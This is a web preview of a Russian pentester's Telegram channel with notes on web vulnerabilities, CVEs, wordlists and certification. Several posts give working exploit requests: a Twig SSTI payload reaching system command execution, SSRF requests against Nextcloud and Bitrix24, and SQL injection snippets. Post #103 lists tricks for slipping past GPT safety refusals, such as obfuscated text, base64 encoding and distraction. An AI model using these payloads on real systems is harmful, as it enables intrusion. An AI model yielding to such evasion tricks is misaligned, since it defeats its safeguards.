TGViewer
Channel Public Channel
Заметки склерозного вебера

Заметки склерозного вебера

@arroizx_notes

By @ArroizX
Subscribers
552
Photos
31
Videos
1
Links
41
Recent Posts 20 shown
Post #103 289
Пока тут готовится что-то полезное вкину мини пост, чтобы канал не простаивал:)

Если у вас есть ГПТ'шка и надо заставить ее делать что-то связанное с поиском/анализом уязвимостей, но вы активно ловите блоки, то можно опустится на одну версию вниз, где security проверки не такие жёсткие, и писать промпты следующим образом:
1) Писать транслитом, причем как русские слова иностранными буквами, так и наоборот;
2) Специально оставлять какие-либо ошибки грамматические;
3) "Забывать" переключать раскладку, когда пишите текст на русском/иностранном языке;
4) Вставлять в слова буквы из другого языка;
5) Изменить тему чата на что-то связанное с обеспечением безопасности;
6) Вкинуть в чат пару запросов, не связанных с вашим изначальным, а потом аккуратно запросить заново проверить код тот же;
7) Закодировать промпт дополнительно хоть в тот же base64;
8) Если вышеуказанные методы не помогли, можно откатится в низкий "уровень усилий", попросить обработать промпт, а потом обратно поднять до высокого и продолжить работу через "Ты слабовато поработал, попробуй лучше".

Если объединить все вышеописанные методы, то можно спокойно пользоваться чуть устаревшей моделью. Я думаю эти методы подойдут не только к ГПТ, но это я уже оставляю вам на проверку=)
  • 👍 7
  • 💩 3
  • ❤ 1
Post #102 613
Ну хоть с первого раза...

Ну чтож, 6 августа я принялся сдавать OSWE, сдал отчёт 8 и 9 получил письмо, в котором меня поздравили с успешной сдачей=)
Сначала я думал написать большой пост и приложить кучу материалов, но после изучения курса, сдачи экзамена и прочтения различных статей по этой теме осознал, что ничего нового/интересного я сказать/дать не могу. Поэтому вот список статей, в которых +- всё нужное рассказано:

- https://codeby.net/threads/otzyv-o-sertifikatsii-oswe-2024-put-k-ekspertu-po-bezopasnosti-prilozhenii.84519/
- https://habr.com/ru/articles/1024100/
- https://habr.com/ru/companies/pm/articles/733170/
- https://habr.com/ru/companies/angarasecurity/articles/595071/

Для меня курс не открыл чего-то принципиально нового, просто показал пару интересных моментов, над которыми я раньше как-то не задумывался. Экзамен прошёл значительно проще, чем я думал. Сложностью стало только написание скриптов, и то потому, что я редко что-то пишу руками, но благо опыт в A/D CTF сильно помог. Очень помогло помимо этого, что я заранее заготовил некоторые мини скрипты с проблематичными моментами. Также советую тестить скрипты на выделенной Kali, а не у себя на ВМке, а то из-за задержки в сети будете полдня что-либо перебирать=)

Поэтому если коротко:
+ Если вы только начинаете путь в вебе - будет очень больно, так как курс покрывает не так много тем и не рассчитан на новичков. Придётся много заниматься в свободное время, чтобы наработать навык изучения кода и запомнить основные уязвимости.
+ Если вы трогали веб, но не то чтобы сильно - будет попроще, но всё равно лучше поковыряться с кодом.
+ Если вы много тыкали веб, как Black Box, так и White Box - ничего сложного не встретите=)
  • 🔥 24
  • 👍 5
  • ❤ 3
  • 🏆 3
Post #101 836
Заметки склерозного вебера 24 июля в 15:30 в Московском офисе Positive Technologies пройдет митап для начинающих специалистов. Это возможность познакомиться с коллегами Позитива, различными направлениями в компании и послушать реальный опыт коллег. В программе: ➡️ Владимир Николаев…
SSRF.pptx60.7 MB
Вот собственно и докладик=)
  • ❤ 10
  • 🔥 8
  • ⚡ 1
Post #99 990
24 июля в 15:30 в Московском офисе Positive Technologies пройдет митап для начинающих специалистов. Это возможность познакомиться с коллегами Позитива, различными направлениями в компании и послушать реальный опыт коллег.

В программе:
➡️ Владимир Николаев, эксперт PT Lab, погрузит во внутрянку агентов Caldera
➡️ Андрей Михайлов, младший инженер PT Lab, расскажет, как создаются лабораторные стенды для практики
➡️ Евгений Копытин, специалист отдела анализа защищенности веб-приложений, раскроет полный потенциал SSRF
➡️ Приглашенный Спикер и тема останутся сюрпризом 🫥

А еще будет экскурсия по офису, пицца, призы за лучшие вопросы и неформальное общение🍕

Заполни форму регистрации по ссылке, если собираешься прийти

🟥Важно: количество мест ограничено, после регистрации дождись письма с подтверждением участия и подробностями мероприятия

До встречи на митапе!🙂
  • ❤ 6
  • 👎 1
  • 🔥 1
Post #98 708
Решил тут поучаствовать в митапе ПТ, поэтому если тут есть начинающие спецы, которые хотят послушать интересные доклады, то можете зарегистрироваться:D
  • ❤ 2
Post #97 4.53K
SSTI ❤️ htmlspecialchars()

Попался тут интересный проект, в котором нашлась Twig SSTI'ка, до которой, чтобы добраться, нужно обойти несколько ограничений:
Удалось её обнаружить после того, как я решил поиграться с шаблонами для почты. Обычная нагрузка {{7*7}} давала по итогу 7*7. Подумав, что это может быть какой-то кривой патч, я вставил нагрузку {{{{7*7}}}} и получил в итоге 49 (никогда не думал, что встречу такой тупизм :D) ! Казалось бы, что это победа, однако если нагрузка сложнее математической операции, например, {{{{['id']|filter('system')}}}}, то ничего не отрабатывало. Поэтому я решил залезть в код и поискать эту чудо-функцию =)

Ниже представлен ооочень отдалённый пример кода, чтобы был понятен контекст:

<?php
require_once 'vendor/autoload.php';
error_reporting(E_ERROR | E_PARSE);

class User {
public $username;
public $secondname;
public function __construct($username, $secondname) {
$this->username = $username;
$this->secondname = $secondname;
}
}

$allowed = ['user.username'];

function prepareVars(string $template, array $allowedKeys): string {
return preg_replace_callback(
'/\{\{(.*?)\}\}/i', //Регулярка для извлечения значения между {{...}}
function ($matches) use ($allowedKeys) {
$value = trim($matches[1] ?? ''); //Берётся наше значение
if (in_array($value, $allowedKeys)) { //Оно скорее всего не подпадает под $allowedKeys
return "{{ {$value} | raw }}";
}
return htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); //В итоге оно попадает сюда с ENT_QUOTES
},
$template
);
}

$username = $_GET['username'] ?? 'John';
$secondname = $_GET['secondname'] ?? 'Doe';
$user = new User($username, $secondname);
$templateInput = $_GET['template'] ?? 'Guest';
$fullTemplate = 'Hello ' . $templateInput;
$processedTemplate = prepareVars($fullTemplate, $allowed);
$loader = new \Twig\Loader\ArrayLoader([
'index' => $processedTemplate,
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['user' => $user]);


Отсюда мы видим причину, почему приходилось использовать 2 пары фигурных скобок, а также новую проблему - htmlspecialchars с ENT_QUOTES. Некоторое время я думал, что с этим делать, так как большинство нагрузок для RCE требуют какие-либо кавычки, а потом до меня дошло:
Мне для той же нагрузки {{['id']|filter('system')}} нужно передать именно соответствующие строки, необязательно их передавать в формате с кавычками, можно передать какую-либо доступную переменную, содержащую нужное значение. Например, мы тут видим, что можем использовать поля объекта класса User: через username передать id, а через secondname передать system. По итогу будет что-то типа такого - /?template={{{{[user.username]|filter(user.secondname)}}}}&username=id&secondname=system.
В моём случае приложение было на PHP Symfony, а данные о пользователе не передавались. Ознакомившись с документацией, можно узнать, что нам достаточно проставить необходимые значения в поля пользователя(просто зайти в раздел профиля УЗ и установить нужные значения), а дальше использовать их через {{app.user.*}} уже в Twig в уязвимом разделе.

Если же у вас только одно контролируемое значение(например subject), а нужно передать 2 строки в SSTI, то просто в subject пихаем 2 строки вместе: idsystem. А дальше извлекаем их посимвольно:
{{[subject|slice(0,2)]|filter(subject|slice(-6))}}
  • 🔥 19
  • ⚡ 2
Post #96 1.27K
Очередной пост - очередной репозиторий

Недавно на проекте коллега пропустил swagger, потому что перебрал маршруты не тем словарём, но благо мне удалось это отловить. И в голове возникла идея уже наконец-то сесть и составить словари, которые можно было бы использовать не боясь, что что-то упустишь, так как заюзал не тот словарь.

Для этого я решил сделать 5 видов словарей:
- Длинный словарь для брута маршрутов - содержит практически каждый валидный путь из множества популярных словарей.
- Короткий словарь для брута маршрутов - там будут только маршруты, которые часто повторяются в большинстве словарей.
- Словарь для брута файлов(.php, .aspx, .jsp, и тд.).
- Словарь для брута API-like маршрутов.
- Словарь для брута битрикса - его надо запускать отдельно от первых двух, когда битрикс уже был найден на хосте.


Потом взял кучу словарей из которых бы и формировал свои:
- https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content
- https://github.com/sorokinpf/cth_wordlists
- https://github.com/Averroes/raft/tree/master/data/wordlists
- https://github.com/kkrypt0nn/wordlists/tree/main/wordlists/discovery
- https://github.com/Bo0oM/fuzz.txt
- https://wordlists.assetnote.io/
- https://github.com/TheKingOfDuck/fuzzDicts
- https://github.com/clem9669/weblist
- https://github.com/hxlxmj/leaky-paths
- https://github.com/3ndG4me/KaliLists/tree/master/dirb
- https://github.com/xajkep/wordlists/tree/master/discovery
- https://github.com/chrislockard/api_wordlist
- https://github.com/koaj/aws-s3-bucket-wordlist/blob/master/list.txt
- https://gist.github.com/hax0rgb/505b5de6be0a78fbd9dd0f46efbe754d
- https://gist.github.com/vijay922/d35cf2f5c9abe682140379e35d5cd935
- https://raw.githubusercontent.com/onvio/wordlists/master/words_and_files_top5000.txt
- https://github.com/jivoi/pentest/tree/master/wordlists
- https://github.com/empty-jack/YAWR
- https://gist.github.com/Bo0oM/5d18e56847d2b1722bf5eedea853119b
- https://pentestnotes.ru/images/notes/bitrix_full/huitix_wordlist.zip
- https://github.com/HiMiC/bitrix_scan/blob/main/bitrix_wordlist.txt
- https://github.com/HiMiC/bitrix_scan/tree/main
- https://t.me/webpwn/345
- https://t.me/webpwn/317


Ну вообщем вот:
https://github.com/1arroiz/wordlists_for_web_brute

Так что пользуйтесь! Если есть предложения/претензии - welcome в личку=)
  • 👍 15
  • 🔥 9
  • ⚡ 4
  • 🤝 1
Post #95 932
Ну чтож, поехали!

Надеюсь, что на этот раз сдам не с 4 попытки:D
После сдачи поделюсь материалами и впечатлениями, конечно=)
  • 😁 20
  • 🔥 16
  • 👍 7
  • 🍾 2
  • 🤣 1
Post #94 949
Если бы меня спросили, какие мои самые любимые баги, то я, не раздумывая, ответил бы: Race Condition, Business logic, BAC и percent hack.

Я думаю, что многие видели и читали ЭТУ статью от Gareth Heyes. К сожалению, мало где можно встретить интересный парсинг почтового адреса, но во время прочтения мне почему‑то врезался в память трюк с percent hack, и так получилось, что это стало моей постоянной проверкой, если вдруг в приложении существуют ограничения на домен
почтового адреса (не важно, black list или white list).

И вот в очередной раз, когда между проектами появилось немного времени, я с коллегой решил глянуть Mastodon, и там удалось обнаружить способ обхода black‑list/white‑list доменных ограничений при регистрации, используя мой любимый трюк - percent hack:D

Вообщем, представляю вам мою первую CVEшку в этом году:
CVE-2026-41259

Также хочется отдельно поблагодарить @mobyfs с его PTLab за предоставленные машинки, на которых можно было всё удобно развернуть и потестить⌨️
  • 🔥 15
  • 👏 5
Post #93 1.25K
Что-то весна какая-то тяжёлая вплане кол-ва работы и дел, из-за чего я почти нарушил свой принцип "постить что-то хотя бы раз в месяц". Поэтому пока залью полезные репозитории/статьи, которые привлекли моё внимание:

Прикольный репозиторий, если нужно разобраться как работает сериализация/десериализация в популярных языках: материалы, инструменты, лабораторные и пр.
- https://github.com/f0ur0four/Insecure-Deserialization

Интересные статьи по Next.js, которые также хорошо объясняют работу некоторых механизмов Next.js
- https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir
- https://kapeka.dev/blog/csrf-in-the-age-of-server-actions
- https://zhero-web-sec.github.io/research-and-things/eclipse-on-nextjs-conditioned-exploitation-of-an-intended-race-condition

Забавные статьи про уязвимости из-за парсеров
- https://infosecwriteups.com/google-cloud-account-takeover-via-url-parsing-confusion-c5e47389b7c7
- https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/

А ещё в конце хочется упомянуть инструмент slipit, с помощью которого можно удобно эксплуатировать zip slip. Он меня недавно спас, когда надо было потестить zip slip с готовым zip-архивом(чью структуру нельзя нарушать), в который нужно было закинуть файл с обходом католога в названии, а приложенька 7z под винду не давала создать в нём файл(всякие права и пр. выдал, но всё равно писос словил). Долго мучался с 7z, а потом наткнулся на это золото.

Вот пример команды, для добавления вредоносного файла в готовый zip-архив

./slipit some.zip some.txt --depth 10 --separator / --static "text"


Вообще я хотел сделать кое-что другое для поста в этом месяце, но тут открылся cfp offzon'а, поэтому планирую закинуть туда заявку и там всё покажу, ну а если не одобрят, то всё равно потом в канал кину:D
  • ❤ 10
  • 👍 3
  • 🔥 3
Post #92 1.53K
Неавторизированная Blind SSRF в NextCloud

Как-то недавно я обнаружил эту страничку и решил глянуть, что это за функциональность в коде Nextcloud. И оказалось, что в Nextcloud до 31 версии любой внешний пользователь может эксплуатировать Blind SSRF:


GET /index.php/apps/files_sharing/testremote?remote=collaborator.com HTTP/2
Host: example.com
Cookie: ...
Requesttoken: <token>
Ocs-Apirequest: true


Нужные куки и другие данные можно взять с запроса с попыткой входа в УЗ.
Так что, багхантеры и пентестеры, вперёд:D
  • 🔥 14
  • 👍 2
Post #91 1.33K
Исправление регулярок + шпаргалка по Nginx

Вот и пролетел Январь, а из-за кучи работы и сессии я не успел ничего интересного запостить, поэтому исправляюсь:

1) Наконец сел и поправил свои регулярки по языкам:
- Поправил обобщённые регулярки, чтобы VS Code не выдавал ошибок, было меньше false positive результатов и были учтены все регулярки ниже;
- Добавил рефлексию в Ruby, которую позже докину в другие языки;
- Поправил повторяющуюся регулярку в Go.

2) Слегка поменял структуру шпаргалок в репозитории Pentest-CheatSheet-Popular-Services, а также добавил новую шпаргалку для анализа конфигурации Nginx, так как недавно пришлось таким заняться на проекте.

Если есть что докинуть в Nginx или в другие шпаргалки/регулярки - пишите в личку, с удовольствием послушаю=)
  • ❤ 5
Post #90 2.26K
Решил сделать последний в этом году пост про наш любимый битрикс:

Авторизированная SSRF в Битрикс24 через интеграцию с MS Sharepoint

В Битрикс24 существует возможность интеграции с MS Sharepoint для синхронизации различных списков: клиенты, календарь и пр. Подробнее про это можете прочитать ТУТ.
Нас же интересует здесь то, что мы можем использовать данную функциональность для SSRF-атак, главное - это иметь любую валидную учётку:


GET /bitrix/components/bitrix/sharepoint.link/ajax.php?mode=test&sp_server=http://collaborator&sp_user=&sp_pass=&sessid=... HTTP/1.1
Host: bitrix24
Cookie: ...
Bx-Ajax: true


Возможно данная функциональность может встретиться и в обычном битриксе, но это я оставляю на проверку вам:D

Неавторизированный спам электронными письмами через sender_sub_confirm.php

Можно захламить любой почтовый ящик письмами о подтверждении подписки, причём для этого не нужно иметь УЗ битрикс:


POST /bitrix/tools/sender_sub_confirm.php HTTP/1.1
Host: bitrix
Cookie: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: x

sessid=...&sender_subscription=add&SENDER_SUBSCRIBE_EMAIL=some@some.com


На ББ вряд-ли примут, но как бага для проекта - самое то.

P.S. @FaLLenSkiLL если ты будешь добавлять это в свой Bitrix Ultimate Pentest Guide, докинь пж SSRF через /bitrix/components/bitrix/main.urlpreview/ajax.php и /bitrix/tools/html_editor_action.php, а то лень каждый раз ползти в PDFку отдельно и копировать запрос=)
  • ❤ 10
  • 🔥 5
  • 👍 4
Post #89 2.1K
Баги и фичи ASP.NET и IIS’a 2.0

Скоро новый год и праздники, а это значит, что после загруженных недель будет достаточно времени, чтобы изучить для себя что-то новенькое!
Поэтому в этом посте я решил собрать для вас свои заметки/ссылки по багам и фичам ASP.NET и IIS’a. Да-да, я уже постил запись и презентацию своего доклада по этой же теме 2 апреля, но там я много всего не рассказал из-за временных рамок, так что советую ознакомиться с этой полной версией;)

P.S. Рекомендую читать статьи Soroush Dalili в веб-архиве, а то после обновления дизайна сайта некоторые статьи пошли по одному месту=)

А теперь переходим к материалу:

1) Как понять, что перед тобой IIS/ASP.NET
1.1) HTTP-заголовки:

Server: Microsoft-IIS/X – веб-сервер и его версия
X-Powered-By: ASP.NET – технология на backend’е
X-AspNet-Version: X – версия ASP.NET
Microsoft-HTTPAPI/X – компонент Windows для обработки HTTP-запросов без полноценного IIS

1.2) Ошибки: Ошибка_IIS, ошибка_ASP.NET

2) Что делать с заголовком Microsoft-HTTPAPI/2.0:
Появляется из-за того, что указано невалидное значение в HTTP-заголовке Host. Поэтому стоит подобрать валидное значение(Перебрать поддомен/домен, попробовать внутренние адреса)

3) Раскрытие локального IP-адреса: [1], [2]

4) Раскрытие инфы о хосте через NTLM аутентификацию

5) Cookieless session
5.1) XSS через ResolveUrl
5.2) CVE-2023-36899 и CVE-2023-36560
5.3) Раскрытие исходного кода

6) IIS Tilde Enumeration: [1], [2], [3]

7) File upload vulnerabilities
7.1) web.config: [1], [2]
7.2) XAMLX
7.3) php под IIS
7.4) Точка с запятой и двоеточие: [1], [2], [3]
7.5) Windows 8.3 feature (можно загрузить файл с SNF именем)
7.6) RESX
7.7) Stored XSS через необычные форматы

8) Deserialization вектора
8.1) ViewState: [1], [2]
8.2) .NET Remoting

9) Waf Bypass (x-up-devcap-post-charset)

10) HTTP Request Smuggling 2025

11) 107 Hacking IIS and NET Kevin Miller
  • 🔥 7
  • 👀 2
  • ❤ 1
Post #88 1.12K
- А если разработчик использует ORM или Query Builder, то это значит, что скулей нет?
- Почему? Они и с ними могут быть!


Примерно такой вопрос и ответ на него можно часто услышать на собеседованиях по вебчику, однако, потом после оффера и получения работы мало кто на серьёзке будет проверять SQL-запросы через ORM или Query Builder. Зачастую всё заканчивается одной-двумя провальными попытками эксплуатации SQL-инъекции, после чего делается вывод, что "скулей тут нет". Хотя тут стоило просто сесть, развернуть библиотеку у себя с похожими SQL-запросами и потыкать её с дебагом.

А где могут быть проблемы, умник?

1) Может использоваться метод для выполнения сырых SQL-запросов, и в него напрямую могут попадать пользовательский значения:
db.session.execute(f"SELECT * FROM users WHERE age = {data}")

2) Некоторые методы в тех же Query Builder'ах, например Where(), иногда могут принимать различное кол-во аргументов, в зависимости от того, нужно ли параметризировать какие-либо данные:

.Where("id={data}") -> WHERE id=0
.Where("id=?",data) -> WHERE id=$1


Иногда разработчики могут этого не знать/забыть, и напрямую подставлять ваши нагрузки в SQL-запрос. Помимо этого у одних и тех же SQL-операторов может быть 2 метода: для сырого исполнения и параметризированного. Догадайтесь сами, куда ваши нарузки не должны попадать:

.WhereRaw("id={data}") -> WHERE id=0
.Where("id","=",data) -> WHERE id=$1


Грубо говоря, этот пункт про то, что порой варианты защиты есть, но про них забыли.

3) Во многих ORM и Query Builder есть методы, в которые пользовательские данные не должны попадать(Insecure By Design), например Select(). По логике туда должны идти только жёстко прописанные столбцы и ничего больше. Однако разработчики могут и туда засунуть ваши значения, чем вы и воспользуетесь:

data = "hello',(SELECT ''||pg_sleep(5)),'1"
Table("Dialogs").Select(data)# SELECT 'hello',(SELECT ''||pg_sleep(5)),'1' FROM Dialogs


4) Может ваши данные попадут в метод по типу filter() и у вас будет plORMbing(ТЫК и ТЫК)

5) Можете найти CVE! Звучит сложно, но по факту разработчики часто могут забыть защитить какой-то метод, либо делают это криво, поэтому возможно обойти ограничения. Помимо этого разработчики очень любят добавлять поддержку большого кол-ва СУБД(так же круче библиотека выглядит), однако, это может привести к ситуации, когда про какую-то СУБД просто забудут во время внедрения защиты, из-за чего только с этой СУБД будет инъекция в конкретном методе. Пруфов пока не будет, они ждут свои cveшки от вендора =)

6) А может уже кто-то нашёл уязу в вашем ORM или Query Builder, и у вас как раз та самая версия - стоит проверить!

Вывод

Рекомендую не забывать про тестирование ORM и Query Builder'ов, так как вы как минимум убедитесь, что всё покрыли, а как максимум найдёте скулю, может даже с выходом в RCE, а может даже получите CVE;)
  • ❤ 8
  • 👍 5
Post #87 943
Теперь всё в одном месте

Пока ломал голову над тем, что запостить в этот канал, я вспомнил, что делал различные шпаргалки по тестированию популярных сервисов. И подумал что было бы хорошей идеей всё это залить в один GitHub-репозиторий, чтобы удобно было смотреть, а не листать весь канал в поисках шпаргалки по Jir'e с Clonfluence.

Поэтому был сделан данный репозиторий:
https://github.com/1arroiz/Pentest-CheatSheet-Popular-Services

Помимо этого я обновил шпаргалку по Jir'e с Clonfluence, добавив туда новые и упущенные cveшки.

P.S. Чуть позже если сойдутся все звёзды я залью в этот репозиторий ещё одну хорошую шпаргалку, но это добро уже потенциально в декабре только. Также через пару дней сделаю уже нормальный пост:D

P.P.S Кривую вёрстку поправил, а то гитхабу порой не очень, видимо, очевидно, что перенос строк - это перенос строк, а не пробел=)
  • 🔥 15
  • 👍 1
Post #86 1.01K
Увидел Java legacy со странным фреймворком - проиграл

Встретилось тут на проекте Java веб-приложение старенькое, которое меня неприятно удивило: во всех HTTP-запросах отправлялись не нормальные параметры в разных формах с нормальным API, а координаты моих кликов, а также UUID-кнопок и форм, и отдельные JSON'ы, содержащие данные, которые я заполнял в формах.

По типу такого короче:


POST /myapp/UIDL/?v-uiId=0 HTTP/1.1
Host: localhost:8080
Content-Type: application/json; charset=UTF-8
Cookie: JSESSIONID=...

[
{
"csrfToken": "9f7c2a31-8c6d-4f2e-bbd8-fb1d0aefcb1e",
"rpc": [
[
5, "click", { "button":1, "clientX":123, "clientY":456 }
]
],
"syncId": 7,
"clientId": 7
}
]



Я уже не первый раз видел такое, но раньше попадались приложения, где подобное взаимодействие реализовано не везде, а на части функционала, а тут всё на таком ужасе. Чуть покапавшись, я понял, что приложение было на Vaadin фреймворке. В нём UI полностью описан и хранится на сервере.

Для Vaadin формат взаимодействия описывается так:
1) Браузер получает минимальный HTML+JS (bootstrap клиент), который соединяется с сервером
2) Любые действия пользователя преобразуются в сообщения (обычно AJAX или WebSocket): координатами/идентификатором события, UUID компонента (кнопка, поле формы, таб и т.д.), значением, которое пользователь ввёл, состоянием/ID сессии, чтобы сервер знал, какой пользователь и какой UI-инстанс
3) Сервер принимает это событие, обновляет своё дерево UI и отправляет обратно diff изменений интерфейса, которые надо отобразить на клиенте

Вообщем своего рода толстые серверные приложения с тонким клиентом.

А теперь интересные моменты, которые я для себя выделил, пока работал с ним:
1) Для определения Vaadin'а достаточно найти маршрут, содержащий /UIDL или /VAADIN/.
2) Искать CSRF'ы в приложении с ним почти бессмысленно, так как есть CSRF-токен, но отдельные механизмы могут быть и без него(привет logout, только если это не бб).
3) Иногда может быть доступен дебаг при добавлении ?debug к маршруту(вряд-ли будет супер полезным, но кто знает).
4) Если вам надо что-то перебрать автоматизированно, как ту же форму логинки, то тогда берите selenium и в путь, так как даже в их документации указан именно он и другие похожие утилиты.
5) Само тестирование приложения скорее всего у вас будет полностью в браузере, с очень редким поглядыванием в Burp: тыкаем все кнопки, заполняем все формы, вставляем везде нагрузки вручную, отдельно вылавливая HTTP-запросы с нормальным форматом, как например, запросы с загрузкой файла.
6) Если приложение использует Vaadin, то оно скорее всего старенькое(особенно если по js-скрипту вы поймёте что это какая-нибудь 7 версия, что вообщем-то привет из 2013. Понять это можно по GET-параметру ?ver, который добавляется к JS/CSS файлу), так что смело ищем критичные серверные баги: RCE, XXE, SQLI, log4shell и пр. Они 100% будут!
7) Также в таких приложениях полно BAC'ов и IDOR'ов, потому отлаживать это - боль для разраба
8) Я хз правда поможет ли, но при обращении к папке /VAADIN/themes можно найти другие файлы и каталоги, связанные с темами, в которые можно провалиться, возможно там вы тоже сможете что-то найти.

В конце очень хочется сказать, что данный пост - это мой опыт BlackBox тестирования веб-приложения с Vaadin, но если вам повезло и у вас WhiteBox, то очень рекомендую данный пост от @rive_n(Канал оказывается стал закрытым, так что можете попросить у автора доступ к Vaadin посту:D )
  • 🔥 5
Post #85 962
Вы думаете только на BugBounty кидают?

WARNING:

Данный пост написан чисто для выпуска пара, поэтому если вы пришли за полезными материалами, то подождите пару дней, скоро выложу интересный пост про мой опыт тестирования Legacy ужаса, а этот можете тогда скипнуть=)


И так, я думаю, что многие слышали про ситуации, когда на ББ выплатили сильно меньше/ничего за багу, хотя по хорошему должны были нормально заплатить. После чего у бедного багхантера горит пукан на золотом стуле, купленном после выплат на бб, и он ноет о несправедливости жизни.
У ресёрчеров та же история, только при этом денег почти всегда нет за находку*. Если ты хочешь потыкать какой-нибудь open-source или библиотеку, чтобы налутать себе CVEшек для резюме, то будь готов к таким ситуациям:
1) Вендор просто не поймёт о чём ты, в чём влияние твоей баги, потому что для него баг - это когда съехала кнопочка в UI. Поэтому он может просто отклонить твою находку. Из-за этого приходится долго и муторно разъяснять ему смысл той же SSRF или XSS(Я благо таким не занимался, а вот мой коллега настрадался).
2) Вендор тихо исправит багу без CVE, и не упомянит тебя(Тоже был такой кейс у коллег).
3) Вендор тихо исправит багу и не упомянит тебя, но будет CVE на неё. Не упомянуть он может как втихую, так и по причине того, что он поставил определённые условия, которые не очень хочется делать.
4) Вендор просто ушёл в игнор и не читает твой отчёт. Либо он ответил, что прочитает и забил болт.

Я пока столкнулся с 3 и 4 пунктом, и если про кейсы с 4 пунктом пока не могу говорить, может ещё всё разрулится, то вот о 3 хочется рассказать.

Почти год назад я смотрел DotNetNuke, в котором нашёл пару XSSок(на тот момент это был мой первый ресёрч, поэтому я был крайне рад даже таким находкам). Мои коллеги тоже нашли кучу баг, и мы им заслали довольно жирный отчёт. Но по определённым причинам DNN просто отказался на нас ссылаться, поставив неудобные условия, вместо того чтобы просто указать имя и фамилию исследователя в соответствующем коммите.
И вот сегодня вечером я наткнулся на пачку CVEшек 2025 по DNN, среди которых +- удалось распознать мою Stored XSS в модуле prompt, а также опознать уязы моих коллег(опознать удалось по описанию, которое я сравнивал с нашим отчётом + все они относятся к одной и той же версии продукта).

Предположительно моя Stored XSS:
https://dbugs.ptsecurity.com/vulnerability/PT-2025-39191?search=DotNetNuke

Естественно, это один из неприятных примеров вендоров, на чьи продукты теперь не хочется тратить время. Причём ладно бы такое произошло с продуктом у которого вообще никогда CVE не было, но тут довольно известный open-source, чьи уязвимости, как я помню, воспроизводятся в том же OSWE. И это мы не говорим про какие-нибудь библиотеки, которые разрабатывает один бедняга, не секущий за ваши уязвимости, и которому лень прочитать отчёт и поправить багу.
Конечно, можно заняться исследованием очень известного продута/языка/библиотеки, в котором всё 100% пройдёт отлично, как тот же XWiki, keycloak, jira и тд. Иногда вы даже можете получить за эту выплату, если найдёте багу в том же Chrome(про это и была звёздочка вначале).

Однако есть причины и не заниматься этим:
1) Самое простое - это банально сложно, так как до вас его перековыряли уже кучу человек, поэтому найти там хоть что-то это геморой страшный. Да и не самый лучший вариант, если это первое исследование или вам хочется нафармить CVEшек для резюме как можно быстрее.
2) Иногда какой-то задрипанный продукт может вам быть намного интереснее, чем знаменитый Bitrix, банально потому что написан на вашем любимом языке. Да и всегда приятно быть первооткрывателем для вендора, на чей продукт никогда не было CVEшек.

Это всё не значит, что не стоит заниматься исследованиями вообще, я наоборот желаю каждому попробовать, так как это интересный опыт, как и ББ(бывают моменты как и дикой радости, так и дикого горения очка). Но просто стоит быть готовым к тому, что вместо СВОЕЙ CVE ты получишь либо ничего, либо CVE, которую нельзя назвать своей, потому что хрен ты докажешь, что именно ты её зарепортил=)
  • 😭 12
  • 🤝 10
  • ✍ 4
  • ❤ 1
Post #84 1.24K
Я сделал это, чтобы вы этим не занимались

Как и обещал, скидываю вам прикольную штуку для WhiteBox;)

Вот ссылка на мой репозиторий, в котором собраны регулярки под самые популярные ЯП:

https://github.com/1arroiz/Regular-expressions-for-WhiteBox-testing

Если есть какие-то предложения по доработке/дополнению - пишите в личку, обсудим=)
  • 🔥 14
  • 👍 2
  • ❤ 1
Post #83 1.22K
И на моей улице настал праздник

Ну чтож, наконец-то спустя кучу репортов(на которые тоже жду еще ответы) прилетел первый advisory, из которого я получил свою первую CVEшку - CVE-2025-32430.
В пятницу будет за что выпить:D

А для интересующихся вот ссылка:
https://github.com/advisories/GHSA-m9x4-w7p9-mxhx
GitHub CVE-2025-32430 - GitHub Advisory Database XWiki allows Reflected XSS in two templates
  • 🔥 26
  • 🎉 5
  • 💔 2
  • 👏 1
  • 💅 1
Older posts →

About this channel

How can I read @arroizx_notes without a Telegram account?
TGViewer shows the public web preview Telegram publishes for Заметки склерозного вебера: recent posts, photos, videos and the subscriber count, with no app, login or account.
How many subscribers does Заметки склерозного вебера have?
Заметки склерозного вебера (@arroizx_notes) has 552 subscribers on Telegram, refreshed roughly every 30 minutes.
Does Заметки склерозного вебера know I viewed it here?
No. Public channel previews carry no viewer identity, and TGViewer has no accounts or tracking of what you look up.
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →